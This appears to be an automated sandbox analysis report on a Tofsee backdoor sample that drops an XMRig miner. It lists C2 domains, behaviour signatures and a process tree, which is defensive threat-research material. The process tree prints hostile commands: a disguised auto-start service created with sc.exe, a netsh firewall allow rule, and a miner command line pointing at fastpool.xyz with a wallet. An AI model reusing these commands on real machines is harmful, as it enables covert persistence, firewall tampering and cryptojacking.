Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/10/2022, 21:53

General

  • Target
    file.exe
  • Size 256KB
  • Sample221027-1rlyhsdgfl
  • SHA256 f6de028d2acb77b6cfddaff6ea2d4af39448d71df0e227e883c3b0e2796f50e3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fkmallmx\
      2⤵
        PID:3396
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xjsgfbkp.exe" C:\Windows\SysWOW64\fkmallmx\
        2⤵
          PID:3976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fkmallmx binPath= "C:\Windows\SysWOW64\fkmallmx\xjsgfbkp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fkmallmx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fkmallmx
          2⤵
          • Launches sc.exe
          PID:1544
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2856
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4720 -s 1036
          2⤵
          • Program crash
          PID:3696
      • C:\Windows\SysWOW64\fkmallmx\xjsgfbkp.exe
        C:\Windows\SysWOW64\fkmallmx\xjsgfbkp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5080
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2816
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 536
          2⤵
          • Program crash
          PID:4732
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4720 -ip 4720
        1⤵
          PID:1972
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5080 -ip 5080
          1⤵
            PID:3992

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                xjsgfbkp.exe

                • Path C:\Users\Admin\AppData\Local\Temp\xjsgfbkp.exe
                • Size 12.5MB
                • SHA256 6a4638f4aa5e754dd6ce758ac4ccd5b0078ef141d3475e066c3ad897d0c0af0d
                • MD5 SHA1 SHA512 SSDEEP

                xjsgfbkp.exe

                • Path C:\Windows\SysWOW64\fkmallmx\xjsgfbkp.exe
                • Size 12.5MB
                • SHA256 6a4638f4aa5e754dd6ce758ac4ccd5b0078ef141d3475e066c3ad897d0c0af0d
                • MD5 SHA1 SHA512 SSDEEP

                memory/2284-162-0x0000000001DD0000-0x0000000001DD5000-memory.dmp

                memory/2284-153-0x0000000002600000-0x000000000280F000-memory.dmp

                memory/2284-152-0x0000000000A40000-0x0000000000A55000-memory.dmp

                memory/2284-168-0x0000000001DE0000-0x0000000001DE7000-memory.dmp

                memory/2284-151-0x0000000000A40000-0x0000000000A55000-memory.dmp

                memory/2284-159-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

                memory/2284-147-0x0000000000A40000-0x0000000000A55000-memory.dmp

                memory/2284-165-0x0000000007600000-0x0000000007A0B000-memory.dmp

                memory/2284-156-0x0000000001DB0000-0x0000000001DB6000-memory.dmp

                memory/2816-177-0x0000000001100000-0x00000000011F1000-memory.dmp

                memory/2816-172-0x0000000001100000-0x00000000011F1000-memory.dmp

                memory/4720-145-0x0000000000400000-0x0000000002C2D000-memory.dmp

                memory/4720-144-0x0000000002F17000-0x0000000002F2C000-memory.dmp

                memory/4720-132-0x0000000002F17000-0x0000000002F2C000-memory.dmp

                memory/4720-134-0x0000000000400000-0x0000000002C2D000-memory.dmp

                memory/4720-133-0x0000000002E80000-0x0000000002E93000-memory.dmp

                memory/5080-150-0x0000000000400000-0x0000000002C2D000-memory.dmp